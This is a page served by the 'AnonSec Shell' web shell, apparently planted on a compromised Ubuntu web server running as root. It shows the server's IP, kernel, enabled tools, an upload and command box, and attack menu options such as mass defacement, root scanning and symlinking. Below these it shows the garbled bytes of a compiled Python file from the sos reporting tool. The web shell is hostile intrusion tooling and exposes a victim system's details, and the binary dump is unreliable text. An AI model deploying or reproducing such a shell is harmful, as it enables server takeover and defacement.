AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/sos/report/plugins/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/sos/report/plugins/__pycache__/ovn_central.cpython-310.pyc
o

���b��@sfddlmZmZmZmZmZddlZddlZGdd�de�ZGdd�dee�Z	Gdd�deee�Z
dS)	�)�Plugin�RedHatPlugin�DebianPlugin�UbuntuPlugin�SoSPredicateNc@s8eZdZdZdZdZdZgfdd�Zdd�Zd	d
�Z	dS)�
OVNCentralz
OVN Northd�ovn_central)�network�virt)zovn-dbs-bundle.*c
sh|jr<d|}|j|dd|jd�}|ddkr!|�d|j�dSz	t�|d�}Wnhty;|�d|�YdSwz:t|�|�d	��(}zt�|�}Wntye|�d|�YWd�WdSwWd�n1spwYWnt	y�}z|�d
||f�WYd}~dSd}~wwz�fdd�t
�|d
�D�WSty�|�d|�YdSw)Nzcat %sT)�timeout�
foreground�	container�statusrz3Could not retrieve DB schema file from container %s�outputzCannot parse JSON file %s�rz$Could not open DB schema file %s: %scsg|]}|�vr|�qS�r)�.0�table��skipr�@/usr/lib/python3/dist-packages/sos/report/plugins/ovn_central.py�
<listcomp>9s
�z5OVNCentral.get_tables_from_schema.<locals>.<listcomp>�tablesz DB schema %s has no 'tables' key)
�_container_name�exec_cmd�
_log_error�json�loads�	Exception�open�	path_join�load�IOError�dict�keys�AttributeError)�self�filenamer�cmd�res�db�f�exrrr�get_tables_from_schemasX
��������
���
��z!OVNCentral.get_tables_from_schemacCs(|sdS|D]}|�d||f�qdS)Nz
%s list %s)�append)r&r�cmds�ovn_cmdrrrr�add_database_output>s
�zOVNCentral.add_database_outputcCs�|�|jd�|_tj�d�}dD]!}|�|�d|�|�d|�|�d|�g�|r2|�|�||��q|�d�r>|�d�n|�d	�|j	d
�
|j�d�
|j�dgd
|jdd�gd�}gd�}dD]}|�
|�|d��}|�||d�qb|}d�
|j�dd�}|j|t||d�d�r�dD]}|�
|�|d�dg�}	|�|	|d�q�||7}|j	|d
|jd�|�d�tj�d�}
dD]+}|�|�d|�|�d |�|�d!|�|�d"|�|�d#|�g�|
r�|�|�|
|��q�|jd$d%�dS)&Nr�
OVS_RUNDIR)zovnnb_db.pidzovnsb_db.pidzovn-northd.pidz/var/lib/openvswitch/ovnz/usr/local/var/run/openvswitchz/run/openvswitch/�all_logsz
/var/log/ovn/z/var/log/ovn/*.logz.ovs-appctl -t {} cluster/status OVN_Northboundz.ovs-appctl -t {} cluster/status OVN_Southboundzovn-appctl -t ovn-northd statusT�)rr
r)zovn-nbctl showzovn-nbctl get-sslzovn-nbctl get-connectionzovn-nbctl list loadbalancerzovn-nbctl list Load_Balancerzovn-nbctl list ACLz"ovn-nbctl list Logical_Switch_Port)zovn-sbctl showzovn-sbctl lflow-listzovn-sbctl get-sslzovn-sbctl get-connection)z/usr/share/openvswitchz/usr/share/ovnzovn-nb.ovsschemaz	ovn-nbctlzLeader: self)r(r)�cmd_outputs)�predzovn-sb.ovsschema�Logical_Flowz	ovn-sbctl)rr
z/etc/sysconfig/ovn-northd�	OVS_DBDIR)zovnnb_db.dbzovnsb_db.dbz/usr/local/etc/openvswitchz/etc/openvswitchz/var/lib/openvswitchz/var/lib/ovn/etcz
ovn-northd)�units)�get_container_by_name�
containersr�os�environ�get�
add_copy_specr �
get_option�add_cmd_output�format�ovn_nbdb_sock_path�ovn_sbdb_sock_pathr-r1�test_predicater�add_journal)r&�
ovs_rundir�pidfile�
nbctl_cmds�
sbctl_cmds�path�	nb_tablesr/�co�	sb_tables�	ovs_dbdir�dbfilerrr�setupDs~


��

����
�����





��zOVNCentral.setupN)
�__name__�
__module__�__qualname__�
short_desc�plugin_name�profilesr;r-r1rQrrrrrs!rc@�eZdZdZdZdZdS)�RedHatOVNCentral)zopenvswitch-ovn-centralz
ovn.*-centralz!/var/run/openvswitch/ovnnb_db.ctlz!/var/run/openvswitch/ovnsb_db.ctlN�rRrSrT�packagesrCrDrrrrrY��rYc@rX)�DebianOVNCentral)zovn-centralz/var/run/ovn/ovnnb_db.ctlz/var/run/ovn/ovnsb_db.ctlNrZrrrrr]�r\r])�sos.report.pluginsrrrrrrr<rrYr]rrrr�<module>s


Anon7 - 2022
AnonSec Team